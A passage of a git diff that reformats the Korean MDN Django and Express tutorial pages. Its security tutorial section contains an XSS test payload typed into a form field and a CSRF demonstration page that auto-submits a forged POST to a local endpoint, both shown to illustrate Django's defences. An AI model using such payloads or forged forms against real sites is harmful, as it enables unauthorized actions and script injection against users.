-| **r'^book/(\d+)$'**            | 이 표현식은 위의 표현식과 동일한 URL들을 매칭합니다. 변환된 정보는 명명되지 않은 argument로 view에 전달됩니다.                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| Pattern                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| **r'^book/(?P\<pk>\d+)$'**      | 이것은 우리가 URL mapper에서 사용한 Regular Expression입니다. 이 표현식은 먼저 문자열이 `book/` 으로 시작하는지 검사하고 (**^book/**), 그 다음에 한 개이상의 숫자가 오는지 (`\d+`), 그리고 문자열이 끝나기 전에 숫자가 아닌 문자가 들어 있지는 않는 지 검사합니다.또한 이 표현식은 모든 숫자들을 변환하고 **(?P\<pk>\d+)** 변환된 값을 view 에 'pk'라는 이름의 parameter로 넘깁니다. **변환된 값은 항상 String type으로 넘어갑니다**!예를 들어, 이 표현식은 `book/1234` 을 매칭합니다. 그리고 변수 `pk='1234'` 를 view에 넘깁니다.         |
+| **r'^book/(\d+)$'**             | 이 표현식은 위의 표현식과 동일한 URL들을 매칭합니다. 변환된 정보는 명명되지 않은 argument로 view에 전달됩니다.                                                                                                                                                                                                                                                                                                                                                                                                                             |
 | **r'^book/(?P\<stub>[-\w]+)$'** | 이 표현식은 문자열 처음 부분에 `book/` 으로 시작하는지 검사하고 (**^book/**), 그리고 한 개 또는 그 이상의 '-' 나 word character가 오고 (**\[-\w]+**), 그렇게 끝내는지를 매칭합니다. 이 표현식 또한 매칭된 부분을 변환하고 view 에 'stub' 라는 이름의 parameter로 전달합니다.This is a fairly typical pattern for a "stub". Stubs are URL-friendly word-based primary keys for data. You might use a stub if you wanted your book URL to be more informative. For example `/catalog/book/the-secret-garden` rather than `/catalog/book/33`. |
 
 당신은 다양한 패턴들을 한번의 매칭을 통해 변환시킬 수 있습니다. 그러므로 다양한 정보들을 URL안에 인코딩할 수 있습니다.
@@ -327,7 +327,7 @@ def book_detail_view(request, primary_key):
 
 **/locallibrary/catalog/templates/catalog/book_detail.html** 파일을 만들고, 아래 텍스트를 복사 붙여넣기 하세요. 위에서 설명한대로, 이 파알명은 제네릭 클래스 기반 상세 뷰의 디폴트 파일명입니다. (`catalog` 애플리케이션의 `Book` 모델을 위한 상세 뷰)
 
-```html
+```django
 {% extends "base_generic.html" %}
 
 {% block content %}
@@ -507,8 +507,11 @@ URL mappers에 필요한 코드들과 view들은 ,사실상, 우리가 위에서
 > - 작가 목록 페이지를 위한 URL mapper를 만들고나면, **All authors** base template에 있는 **All authors** 링크 또한 업데이트 해야될 필요를 느끼게 될 겁니다. 우리가 **All books** 링크 업데이트 때 했던, [수행 과정](#Update_the_base_template)을 따라해주세요.
 > - 작가 세부 사항 페이지에 대한 URL mapper를 만들고나면, 당신은 [book detail view template](#Creating_the_Detail_View_template) (**/locallibrary/catalog/templates/catalog/book_detail.html**) 또한 업데이트 해야 합니다. 그래야 작가 링크가 당신이 새로 만든 작가 세부 사항 페이지를 가리키거든요. (비어 있는 URL로 있기 보다는 말이죠). 굵게 되어 있는 부분을 template 내의 태그에 넣어주세요.
 >
->   ```html
->   <p><strong>Author:</strong> <a href="{% url 'author-detail' book.author.pk %}">\{{ book.author }}</a></p>
+>   ```django
+>   <p>
+>     <strong>Author:</strong>
+>     <a href="{% url 'author-detail' book.author.pk %}">\{{ book.author }}</a>
+>   </p>
 >   ```
 
 모두 마치면, 당신의 페이즈들은 아마 밑의 스크린샷과 비슷하게 보일 겁니다.
diff --git a/files/ko/learn/server-side/django/home_page/index.md b/files/ko/learn/server-side/django/home_page/index.md
index b29c5899572bf9..ba56d9eb339ad2 100644
--- a/files/ko/learn/server-side/django/home_page/index.md
+++ b/files/ko/learn/server-side/django/home_page/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Django Tutorial Part 5: Creating our home page'
+title: "Django Tutorial Part 5: Creating our home page"
 slug: Learn/Server-side/Django/Home_page
 ---
 
@@ -174,7 +174,7 @@ view 함수의 마지막에선 HTML 페이지를 생성하고 이 페이지를 
 
 > **참고:** **주의:** 탬플릿 태그들은 목록을 반복하거나, 변수 값을 기반으로 조건부 연산을 수행하거나, 여타 다른 일들을 할 수 있는 함수입니다. 탬플릿 태그 외에도 탬플릿 구문(syntax)을 사용하면 view에서 탬플릿으로 전달된 변수들을 참조할 수 있고, 탬플릿 필터(filters)를 사용해서 변수의 형식을 지정할 수 있습니다(예를 들어, 문자열을 소문자로 변환).
 
-```html
+```django
 <!DOCTYPE html>
 <html lang="en">
 <head>
@@ -208,8 +208,8 @@ view 함수의 마지막에선 HTML 페이지를 생성하고 이 페이지를 
 
 새로운 파일 **base_generic.html** 을 **/locallibrary/catalog/templates/_base_generic.html_** 경로 안에 생성해서 아래 코드를 파일에 복사 붙여넣기 하세요:
 
-```html
-<!DOCTYPE html>
+```django
+<!doctype html>
 <html lang="en">
 <head>
   {% block title %}<title>Local Library</title>{% endblock %}
@@ -245,9 +245,9 @@ view 함수의 마지막에선 HTML 페이지를 생성하고 이 페이지를 
 
 ```css
 .sidebar-nav {
-    margin-top: 20px;
-    padding: 0;
-    list-style: none;
+  margin-top: 20px;
+  padding: 0;
+  list-style: none;
 }
 ```
 
@@ -255,7 +255,7 @@ view 함수의 마지막에선 HTML 페이지를 생성하고 이 페이지를 
 
 새로운 HTML 파일 **index.html** 을 **/locallibrary/catalog/templates/** 경로 안에 생성해서 아래 코드를 파일 안에 복사 붙여넣기 하세요. 보시는 바와 같이 첫째 행에서 우리의 기본 탬플릿을 확장하고, 탬플릿의 기본 `content` 블럭을 새로운 블럭으로 대체합니다.
 
-```html
+```django
 {% extends "base_generic.html" %}
 
 {% block content %}
@@ -295,17 +295,20 @@ return render(request, 'index.html', context=context)
 
 아래 코드 샘플처럼, 탬플릿 안에서 당신은 먼저 탬플릿 라이브러리를 추가하기 위해 "static"을 지정하는 `load` 탬플릿 태그를 호출합니다. 그러고 나서 `static` 탬플릿 태그를 사용할 수 있고 관련 URL을 요구되는 파일에 지정할 수 있습니다.
 
-```html
+```django
 <!-- Add additional CSS in static file -->
 {% load static %}
-<link rel="stylesheet" href="{% static 'css/styles.css' %}">
+<link rel="stylesheet" href="{% static 'css/styles.css' %}" />
 ```
 
 비슷한 방법으로 이미지를 페이지에 추가할 수 있습니다. 예를 들어:
 
-```html
+```django
 {% load static %}
-<img src="{% static 'catalog/images/local_library_model_uml.png' %}" alt="UML diagram" style="width:555px;height:540px;">
+<img
+  src="{% static 'catalog/images/local_library_model_uml.png' %}"
+  alt="UML diagram"
+  style="width:555px;height:540px;" />
 ```
 
 > **참고:** **주의**: 위의 샘플은 파일들의 위치를 특정하지만, 장고는 기본적으로 파일을 제공하지 않습니다. 우리는 우리가 웹사이트 뼈대를 생성했을 때([created the website skeleton](/ko/docs/Learn/Server-side/Django/skeleton_website)) 전역 URL 매퍼(/locallibrary/locallibrary/urls.py)를 수정하여 개발 웹 서버가 파일을 제공하도록 설정했습니다만, 제품화되었을(in production)때도 파일을 제공할 수 있어야 합니다. 이것에 관해 차후에 다루겠습니다.
@@ -360,7 +363,7 @@ TEMPLATES = [
 
 1. LocalLibrary 기본 탬플릿([base template](#The_LocalLibrary_base_template))에는 `title` 블록이 정의되어 있습니다. 색인 탬플릿([index template](#The_index_template)) 안에 이 블록을 덮어쓰기하고 페이지를 위한 새로운 제목을 만들어 보세요.
 
-    > **참고:** **힌트:** [Extending templates](#Extending_templates) 섹션은 블럭(block)을 생성하고 다른 탬플릿에서 블럭을 확장(extend)하는 방법을 설명합니다.
+   > **참고:** **힌트:** [Extending templates](#Extending_templates) 섹션은 블럭(block)을 생성하고 다른 탬플릿에서 블럭을 확장(extend)하는 방법을 설명합니다.
 
 2. 대소문자 구분 없이 특정한 단어를 포함하는 장르와 책들의 개수(count)를 생성하도록 [view](<#View_(function-based)>) 를 수정하고, 결과를 `context`에 전달해 보세요. 이것은 `num_books`와 `num_instances_available`을 생성하고 사용하는 것과 비슷한 방법으로 달성할 수 있습니다. 그리고 나서 이 변수들을 포함시키기 위해 [index template](#The_index_template) 를 업데이트 하세요.
 
diff --git a/files/ko/learn/server-side/django/index.md b/files/ko/learn/server-side/django/index.md
index 3c5a4d5f936755..ebd3a66e09c03d 100644
--- a/files/ko/learn/server-side/django/index.md
+++ b/files/ko/learn/server-side/django/index.md
@@ -2,6 +2,7 @@
 title: Django 웹 프레임워크 (파이썬)
 slug: Learn/Server-side/Django
 ---
+
 {{LearnSidebar}}
 
 Django는 파이썬으로 구성된, 인기 많고 완벽한 기능을 갖춘 서버-사이드 웹 프레임워크입니다. 이 모듈은 Django가 웹 서버 프레임워크 중 가장 유명한 이유, 개발환경을 설정하는 방법, 그리고 이를 통해 자신만의 웹 애플리케이션을 만드는 방법을 알려줍니다.
diff --git a/files/ko/learn/server-side/django/introduction/index.md b/files/ko/learn/server-side/django/introduction/index.md
index 6cac87585bead2..2ab158fc1b4cd1 100644
--- a/files/ko/learn/server-side/django/introduction/index.md
+++ b/files/ko/learn/server-side/django/introduction/index.md
@@ -61,7 +61,7 @@ Django는 다음과 같은 소프트웨어를 개발하는데 도움을 줍니
     Django 는 SQL 인젝션, 크로스사이트 스크립팅, 크로스사이트 요청 위조 그리고 클릭 하이젝킹 (이러한 공격 방법에 대한 상세 정보는 [Website security](/ko/docs/Learn/Server-side/First_steps/Website_security)에서 볼 수 있습니다)과 같은 보안 취약점을 보완할 방법 기본적으로 제공합니다.
 
 - Scalable(확장성 있는)
-  - : Django는 컴포넌트 기반의 “[shared-nothing](https://en.wikipedia.org/wiki/Shared_nothing_architecture)” 아키텍쳐(각각의 아키텍쳐가 독립적이어서 필요하다면 교체 및 변경할 수 있는)를 사용합니다. 각 부분이 분명하게 분리되면 어떤 레벨에서든(예를 들면 캐싱 서버, 데이터베이스 서버, 혹은 어플리케이션 서버) 하드웨어를 추가해서 발생하는 늘어난 트래픽에 대응해 크기를 변경할 수 있게 됩니다. 사용자가 가장 많은 몇몇 사이트는 요구사항에 맞춰서 Django의 크기를 성공적으로 변경했습니다. (예를들면 Instagram, Disqus 등)
+  - : Django는 컴포넌트 기반의 "[shared-nothing](https://en.wikipedia.org/wiki/Shared_nothing_architecture)" 아키텍쳐(각각의 아키텍쳐가 독립적이어서 필요하다면 교체 및 변경할 수 있는)를 사용합니다. 각 부분이 분명하게 분리되면 어떤 레벨에서든(예를 들면 캐싱 서버, 데이터베이스 서버, 혹은 어플리케이션 서버) 하드웨어를 추가해서 발생하는 늘어난 트래픽에 대응해 크기를 변경할 수 있게 됩니다. 사용자가 가장 많은 몇몇 사이트는 요구사항에 맞춰서 Django의 크기를 성공적으로 변경했습니다. (예를들면 Instagram, Disqus 등)
 - Maintainable(유지보수가 쉬운)
   - : Django 코드는 유지보수가 쉽고 재사용하기 좋게끔 하는 디자인 원칙들과 패턴들을 이용하여 작성됩니다. 특히 Don't Repeat Yourself (DRY) 원칙을 적용해서 불필요한 중복이 없고 많은 양의 코드를 줄였습니다. 또한 Django는 관련된 기능들을 재사용 가능한 "applications"로 그룹화했고, 더 낮은 레벨에서 관련된 코드들을 모듈로 만들었습니다. ([Model View Controller (MVC)](/en-US/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture) 패턴과 유사합니다).
 - Portable(포터블한)
diff --git a/files/ko/learn/server-side/django/models/index.md b/files/ko/learn/server-side/django/models/index.md
index 780b03c1e2f5c0..96544b24ac18d5 100644
--- a/files/ko/learn/server-side/django/models/index.md
+++ b/files/ko/learn/server-side/django/models/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Django Tutorial Part 3: Using models'
+title: "Django Tutorial Part 3: Using models"
 slug: Learn/Server-side/Django/Models
 ---
 
diff --git a/files/ko/learn/server-side/django/sessions/index.md b/files/ko/learn/server-side/django/sessions/index.md
index 99e5ea05745f44..4bd5d98e729773 100644
--- a/files/ko/learn/server-side/django/sessions/index.md
+++ b/files/ko/learn/server-side/django/sessions/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Django Tutorial Part 7: Sessions framework'
+title: "Django Tutorial Part 7: Sessions framework"
 slug: Learn/Server-side/Django/Sessions
 ---
 
@@ -138,7 +138,7 @@ def index(request):
 
 메인 HTML template(**/locallibrary/catalog/templates/index.html**) "Dynamic content" 섹션 밑 부분에 context 변수가 보일 수 있도록 밑에 보이는 굵은 선으로 표시된 코드를 추가해주세요:
 
-```html
+```django
 <h2>Dynamic content</h2>
 
 <p>The library has the following record counts:</p>
@@ -149,7 +149,10 @@ def index(request):
   <li><strong>Authors:</strong> \{{ num_authors }}</li>
 </ul>
 
-<p>You have visited this page \{{ num_visits }}{% if num_visits == 1 %} time{% else %} times{% endif %}.</p>
+<p>
+  You have visited this page \{{ num_visits }}{% if num_visits == 1 %} time{%
+  else %} times{% endif %}.
+</p>
 ```
 
 바뀐 것을 저장해주시고 테스트 서버를 재시작해주세요. 페이지를 새로고침할 때 마다, 숫자가 업데이트되는 것을 보실 수 있을겁니다.
diff --git a/files/ko/learn/server-side/django/skeleton_website/index.md b/files/ko/learn/server-side/django/skeleton_website/index.md
index dac9489ec392bf..15e40aedf8251e 100644
--- a/files/ko/learn/server-side/django/skeleton_website/index.md
+++ b/files/ko/learn/server-side/django/skeleton_website/index.md
@@ -1,5 +1,5 @@
 ---
-title: '장고 튜토리얼 강좌 2 : 뼈대 사이트 만들기'
+title: "장고 튜토리얼 강좌 2 : 뼈대 사이트 만들기"
 slug: Learn/Server-side/Django/skeleton_website
 ---
 
@@ -41,7 +41,7 @@ slug: Learn/Server-side/Django/skeleton_website
 1. 프로젝트 폴더, 기본적인 파일 템플릿과 프로젝트 관리 스크립트(**manage.py**)를 만들기 위해서 `django-admin`을 사용합니다.
 2. 하나 또는 그 이상의 애플리케이션을 만들기 위해서 **manage.py**를 사용합니다.
 
-    > **참고:** 하나의 웹사이트는 하나 또는 그 이상의 섹션으로 구성될 수 있습니다. (예를 들어 main site, blog, wiki, downloads area 등). 장고는 필요할 때에 다른 프로젝트에서 재사용이 가능할 수 있게 , 이 요소들을 분리된 어플리케이션으로 개발하는 것을 추천합니다.
+   > **참고:** 하나의 웹사이트는 하나 또는 그 이상의 섹션으로 구성될 수 있습니다. (예를 들어 main site, blog, wiki, downloads area 등). 장고는 필요할 때에 다른 프로젝트에서 재사용이 가능할 수 있게 , 이 요소들을 분리된 어플리케이션으로 개발하는 것을 추천합니다.
 
 3. 프로젝트에 포함시키기 위해 새 어플리케이션들을 등록(register)합니다.
 4. 각 어플리케이션에 대해 url/mapper를 연결(hook up)합니다.
diff --git a/files/ko/learn/server-side/django/testing/index.md b/files/ko/learn/server-side/django/testing/index.md
index 375a978ee36748..709c5baa09a837 100644
--- a/files/ko/learn/server-side/django/testing/index.md
+++ b/files/ko/learn/server-side/django/testing/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Django 튜토리얼 파트 10: Django 웹 어플리케이션 테스트하기'
+title: "Django 튜토리얼 파트 10: Django 웹 어플리케이션 테스트하기"
 slug: Learn/Server-side/Django/Testing
 ---
 
diff --git a/files/ko/learn/server-side/django/tutorial_local_library_website/index.md b/files/ko/learn/server-side/django/tutorial_local_library_website/index.md
index f56fa36771d759..1cd0f4fbdd6ffb 100644
--- a/files/ko/learn/server-side/django/tutorial_local_library_website/index.md
+++ b/files/ko/learn/server-side/django/tutorial_local_library_website/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Django 튜토리얼: 지역 도서관 웹사이트'
+title: "Django 튜토리얼: 지역 도서관 웹사이트"
 slug: Learn/Server-side/Django/Tutorial_local_library_website
 ---
 
diff --git a/files/ko/learn/server-side/django/web_application_security/index.md b/files/ko/learn/server-side/django/web_application_security/index.md
index 7dce64725cfc33..a81d1b82cad7b6 100644
--- a/files/ko/learn/server-side/django/web_application_security/index.md
+++ b/files/ko/learn/server-side/django/web_application_security/index.md
@@ -46,7 +46,7 @@ Django 문서를 여기로 복사해오기보다, 이 문서에서 우리는 Dja
 
 ### Cross site scripting (XSS)
 
-XSS is a term used to describe a class of attacks that allow an attacker to inject client-side scripts _through_ the website into the browsers of other users. This is usually achieved by storing malicious scripts in the database where they can be retrieved and displayed to other users, or by getting users to click a link that will cause the attacker’s JavaScript to be executed by the user’s browser.
+XSS is a term used to describe a class of attacks that allow an attacker to inject client-side scripts _through_ the website into the browsers of other users. This is usually achieved by storing malicious scripts in the database where they can be retrieved and displayed to other users, or by getting users to click a link that will cause the attacker's JavaScript to be executed by the user's browser.
 
 Django's template system protects you against the majority of XSS attacks by [escaping specific characters](https://docs.djangoproject.com/en/2.0/ref/templates/language/#automatic-html-escaping) that are "dangerous" in HTML. We can demonstrate this by attempting to inject some JavaScript into our LocalLibrary website using the Create-author form we set up in [Django Tutorial Part 9: Working with forms](/ko/docs/Learn/Server-side/Django/Forms).
 
@@ -54,10 +54,10 @@ Django's template system protects you against the majority of XSS attacks by [es
 2. Open the site in your local browser and login to your superuser account.
 3. Navigate to the author-creation page (which should be at URL: [`http://127.0.0.1:8000/catalog/author/create/`](http://127.0.0.1:8000/catalog/author/create/)).
 4. Enter names and date details for a new user, and then append the following text to the Last Name field:
-    `<script>alert('Test alert');</script>`.
-    ![Author Form XSS test](author_create_form_alert_xss.png)
+   `<script>alert('Test alert');</script>`.
+   ![Author Form XSS test](author_create_form_alert_xss.png)
 
-    > **참고:** This is a harmless script that, if executed, will display an alert box in your browser. If the alert is displayed when you submit the record then the site is vulnerable to XSS threats.
+   > **참고:** This is a harmless script that, if executed, will display an alert box in your browser. If the alert is displayed when you submit the record then the site is vulnerable to XSS threats.
 
 5. Press **Submit** to save the record.
 6. When you save the author it will be displayed as shown below. Because of the XSS protections the `alert()` should not be run. Instead the script is displayed as plain text.![Author detail view XSS test](author_detail_alert_xss.png)
@@ -65,7 +65,10 @@ Django's template system protects you against the majority of XSS attacks by [es
 If you view the page HTML source code, you can see that the dangerous characters for the script tags have been turned into their harmless escape code equivalents (e.g. `>` is now `&gt;`)
 
 ```html
-<h1>Author: Boon<script>alert("Test alert");</script>, David (Boonie) </h1>
+<h1>
+  Author: Boon&lt;script&gt;alert(&#39;Test alert&#39;);&lt;/script&gt;, David
+  (Boonie)
+</h1>
 ```
 
 Using Django templates protects you against the majority of XSS attacks. However it is possible to turn off this protection, and the protection isn't automatically applied to all tags that wouldn't normally be populated by user input (for example, the `help_text` in a form field is usually not user-supplied, so Django doesn't escape those values).
@@ -74,7 +77,7 @@ It is also possible for XSS attacks to originate from other untrusted source of
 
 ### Cross site request forgery (CSRF) protection
 
-CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user’s knowledge or consent. For example consider the case where we have a hacker who wants to create additional authors for our LocalLibrary.
+CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user's knowledge or consent. For example consider the case where we have a hacker who wants to create additional authors for our LocalLibrary.
 
 > **참고:** Obviously our hacker isn't in this for the money! A more ambitious hacker could use the same approach on other sites to perform much more harmful tasks (e.g. transfer money to their own accounts, etc.)
 
@@ -82,19 +85,56 @@ In order to do this, they might create an HTML file like the one below, which co
 
 ```html
 <html>
-<body onload='document.EvilForm.submit()'>
-
-<form action="http://127.0.0.1:8000/catalog/author/create/" method="post" name='EvilForm'>
-  <table>
-    <tr><th><label for="id_first_name">First name:</label></th><td><input id="id_first_name" maxlength="100" name="first_name" type="text" value="Mad" required /></td></tr>
-    <tr><th><label for="id_last_name">Last name:</label></th><td><input id="id_last_name" maxlength="100" name="last_name" type="text" value="Man" required /></td></tr>
-    <tr><th><label for="id_date_of_birth">Date of birth:</label></th><td><input id="id_date_of_birth" name="date_of_birth" type="text" /></td></tr>
-    <tr><th><label for="id_date_of_death">Died:</label></th><td><input id="id_date_of_death" name="date_of_death" type="text" value="12/10/2016" /></td></tr>
-  </table>
-  <input type="submit" value="Submit" />
-</form>
-
-</body>
+  <body onload="document.EvilForm.submit()">
+    <form
+      action="http://127.0.0.1:8000/catalog/author/create/"
+      method="post"
+      name="EvilForm">
+      <table>
+        <tr>
+          <th><label for="id_first_name">First name:</label></th>
+          <td>
+            <input
+              id="id_first_name"
+              maxlength="100"
+              name="first_name"
+              type="text"
+              value="Mad"
+              required />
+          </td>
+        </tr>
+        <tr>
+          <th><label for="id_last_name">Last name:</label></th>
+          <td>
+            <input
+              id="id_last_name"
+              maxlength="100"
+              name="last_name"
+              type="text"
+              value="Man"
+              required />
+          </td>
+        </tr>
+        <tr>
+          <th><label for="id_date_of_birth">Date of birth:</label></th>
+          <td>
+            <input id="id_date_of_birth" name="date_of_birth" type="text" />
+          </td>
+        </tr>
+        <tr>
+          <th><label for="id_date_of_death">Died:</label></th>
+          <td>
+            <input
+              id="id_date_of_death"
+              name="date_of_death"
+              type="text"
+              value="12/10/2016" />
+          </td>
+        </tr>
+      </table>
+      <input type="submit" value="Submit" />
+    </form>
+  </body>
 </html>
 ```
 
@@ -103,7 +143,10 @@ Run the development web server, and log in with your superuser account. Copy the
 The way the protection is enabled is that you include the `{% csrf_token %}` template tag in your form definition. This token is then rendered in your HTML as shown below, with a value that is specific to the user on the current browser.
 
 ```html
-<input type='hidden' name='csrfmiddlewaretoken' value='0QRWHnYVg776y2l66mcvZqp8alrv4lb8S8lZ4ZJUWGZFA5VHrVfL2mpH29YZ39PW' />
+<input
+  type="hidden"
+  name="csrfmiddlewaretoken"
+  value="0QRWHnYVg776y2l66mcvZqp8alrv4lb8S8lZ4ZJUWGZFA5VHrVfL2mpH29YZ39PW" />
 ```
 
 Django generates a user/browser specific key and will reject forms that do not contain the field, or that contain an incorrect field value for the user/browser.
@@ -117,7 +160,7 @@ Django's CSRF protection is turned on by default. You should always use the `{%
 Django also provides other forms of protection (most of which would be hard or not particularly useful to demonstrate):
 
 - SQL injection protection
-  - : SQL injection vulnerabilities enable malicious users to execute arbitrary SQL code on a database, allowing data to be accessed, modified, or deleted irrespective of the user's permissions. In almost every case you'll be accessing the database using Django’s querysets/models, so the resulting SQL will be properly escaped by the underlying database driver. If you do need to write raw queries or custom SQL then you'll need to explicitly think about preventing SQL injection.
+  - : SQL injection vulnerabilities enable malicious users to execute arbitrary SQL code on a database, allowing data to be accessed, modified, or deleted irrespective of the user's permissions. In almost every case you'll be accessing the database using Django's querysets/models, so the resulting SQL will be properly escaped by the underlying database driver. If you do need to write raw queries or custom SQL then you'll need to explicitly think about preventing SQL injection.
 - Clickjacking protection
   - : In this attack a malicious user hijacks clicks meant for a visible top level site and routes them to a hidden page beneath. This technique might be used, for example, to display a legitimate bank site but capture the login credentials in an invisible [`<iframe>`](/ko/docs/Web/HTML/Element/iframe) controlled by the attacker. Django contains [clickjacking protection](https://docs.djangoproject.com/en/2.0/ref/clickjacking/#clickjacking-prevention) in the form of the [`X-Frame-Options middleware`](https://docs.djangoproject.com/en/2.0/ref/middleware/#django.middleware.clickjacking.XFrameOptionsMiddleware) which, in a supporting browser, can prevent a site from being rendered inside a frame.
 - Enforcing SSL/HTTPS
@@ -125,7 +168,7 @@ Django also provides other forms of protection (most of which would be hard or n
 - [`SECURE_PROXY_SSL_HEADER`](https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_PROXY_SSL_HEADER) can be used to check whether content is secure, even if it is incoming from a non-HTTP proxy.
 - [`SECURE_SSL_REDIRECT`](https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_SSL_REDIRECT) is used to redirect all HTTP requests to HTTPS.
 - Use [HTTP Strict Transport Security](https://docs.djangoproject.com/en/2.0/ref/middleware/#http-strict-transport-security) (HSTS). This is an HTTP header that informs a browser that all future connections to a particular site should always use HTTPS. Combined with redirecting HTTP requests to HTTPS, this setting ensures that HTTPS is always used after a successful connection has occurred. HSTS may either be configured with [`SECURE_HSTS_SECONDS`](https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_HSTS_SECONDS) and [`SECURE_HSTS_INCLUDE_SUBDOMAINS`](https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_HSTS_INCLUDE_SUBDOMAINS) or on the Web server.
-- Use ‘secure’ cookies by setting [`SESSION_COOKIE_SECURE`](https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SESSION_COOKIE_SECURE) and [`CSRF_COOKIE_SECURE`](https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-CSRF_COOKIE_SECURE) to `True`. This will ensure that cookies are only ever sent over HTTPS.
+- Use 'secure' cookies by setting [`SESSION_COOKIE_SECURE`](https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SESSION_COOKIE_SECURE) and [`CSRF_COOKIE_SECURE`](https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-CSRF_COOKIE_SECURE) to `True`. This will ensure that cookies are only ever sent over HTTPS.
 - Host header validation
   - : Use [`ALLOWED_HOSTS`](https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-ALLOWED_HOSTS) to only accept requests from trusted hosts.
 
diff --git a/files/ko/learn/server-side/express_nodejs/development_environment/index.md b/files/ko/learn/server-side/express_nodejs/development_environment/index.md
index 4c13d4998cc799..661c55f18695f9 100644
--- a/files/ko/learn/server-side/express_nodejs/development_environment/index.md
+++ b/files/ko/learn/server-side/express_nodejs/development_environment/index.md
@@ -70,8 +70,8 @@ _Express_ 를 사용하기 위해서 우선 운영체제에 *Nodejs*와 [Node Pa
 
 1. Installer를 다운받읍시다:
 
-    1. <https://nodejs.org/en/>
-    2. "안정적이고 신뢰도가 높은" LTS버튼을 클릭해 다운로드를 시작합니다. .
+   1. <https://nodejs.org/en/>
+   2. "안정적이고 신뢰도가 높은" LTS버튼을 클릭해 다운로드를 시작합니다. .
 
 2. 다운로드된 파일을 더블클릭해 Node를 설치합니다.
 
@@ -104,37 +104,36 @@ As a slightly more exciting test let's create a very basic "pure node" server th
 
 1. Copy the following text into a file named **hellonode.js**. This uses pure _Node_ features (nothing from Express) and some ES6 syntax:
 
-    ```js
-    //Load HTTP module
-    const http = require("http");
-    const hostname = '127.0.0.1';
-    const port = 3000;
+   ```js
+   //Load HTTP module
+   const http = require("http");
+   const hostname = "127.0.0.1";
+   const port = 3000;
 
-    //Create HTTP server and listen on port 3000 for requests
-    const server = http.createServer((req, res) => {
+   //Create HTTP server and listen on port 3000 for requests
+   const server = http.createServer((req, res) => {
+     //Set the response HTTP header with HTTP status and Content type
+     res.statusCode = 200;
+     res.setHeader("Content-Type", "text/plain");
+     res.end("Hello World\n");
+   });
 
-      //Set the response HTTP header with HTTP status and Content type
-      res.statusCode = 200;
-      res.setHeader('Content-Type', 'text/plain');
-      res.end('Hello World\n');
-    });
+   //listen for request on port 3000, and as a callback function have the port listened on logged
+   server.listen(port, hostname, () => {
+     console.log(`Server running at http://${hostname}:${port}/`);
+   });
+   ```
 
-    //listen for request on port 3000, and as a callback function have the port listened on logged
-    server.listen(port, hostname, () => {
-      console.log(`Server running at http://${hostname}:${port}/`);
-    });
-    ```
+   The code imports the "http" module and uses it to create a server (`createServer()`) that listens for HTTP requests on port 3000. The script then prints a message to the console about what browser URL you can use to test the server. The `createServer()` function takes as an argument a callback function that will be invoked when an HTTP request is received — this simply returns a response with an HTTP status code of 200 ("OK") and the plain text "Hello World".
 
-    The code imports the "http" module and uses it to create a server (`createServer()`) that listens for HTTP requests on port 3000. The script then prints a message to the console about what browser URL you can use to test the server. The `createServer()` function takes as an argument a callback function that will be invoked when an HTTP request is received — this simply returns a response with an HTTP status code of 200 ("OK") and the plain text "Hello World".
-
-    > **참고:** Don't worry if you don't understand exactly what this code is doing yet! We'll explain our code in greater detail once we start using Express!
+   > **참고:** Don't worry if you don't understand exactly what this code is doing yet! We'll explain our code in greater detail once we start using Express!
 
 2. Start the server by navigating into the same directory as your `hellonode.js` file in your command prompt, and calling `node` along with the script name, like so:
 
-    ```bash
-    >node hellonode.js
-    Server running at http://127.0.0.1:3000/
-    ```
+   ```bash
+   >node hellonode.js
+   Server running at http://127.0.0.1:3000/
+   ```
 
 3. Navigate to the URL [http://127.0.0.1:3000](http://127.0.0.1:3000). If everything is working, the browser should simply display the string "Hello World".
 
@@ -154,81 +153,81 @@ The following steps show how you can use NPM to download a package, save it into
 
 1. First create a directory for your new application and navigate into it:
 
-    ```bash
-    mkdir myapp
-    cd myapp
-    ```
+   ```bash
+   mkdir myapp
+   cd myapp
+   ```
 
 2. Use the npm `init` command to create a **package.json** file for your application. This command prompts you for a number of things, including the name and version of your application and the name of the initial entry point file (by default this is **index.js**). For now, just accept the defaults:
 
-    ```bash
-    npm init
-    ```
-
-    If you display the **package.json** file (`cat package.json`), you will see the defaults that you accepted, ending with the license.
-
-    ```json
-    {
-      "name": "myapp",
-      "version": "1.0.0",
-      "description": "",
-      "main": "index.js",
-      "scripts": {
-        "test": "echo \"Error: no test specified\" && exit 1"
-      },
-      "author": "",
-      "license": "ISC"
-    }
-    ```
+   ```bash
+   npm init
+   ```
+
+   If you display the **package.json** file (`cat package.json`), you will see the defaults that you accepted, ending with the license.
+
+   ```json
+   {
+     "name": "myapp",
+     "version": "1.0.0",
+     "description": "",
+     "main": "index.js",
+     "scripts": {
+       "test": "echo \"Error: no test specified\" && exit 1"
+     },
+     "author": "",
+     "license": "ISC"
+   }
+   ```
 
 3. Now install Express in the `myapp` directory and save it in the dependencies list of your **package.json** file
 
    ```bash
     npm install express
-    ```
-
-    The dependencies section of your **package.json** will now appear at the end of the **package.json** file and will include _Express_.
-
-    ```json
-    {
-      "name": "myapp",
-      "version": "1.0.0",
-      "description": "",
-      "main": "index.js",
-      "scripts": {
-        "test": "echo \"Error: no test specified\" && exit 1"
-      },
-      "author": "",
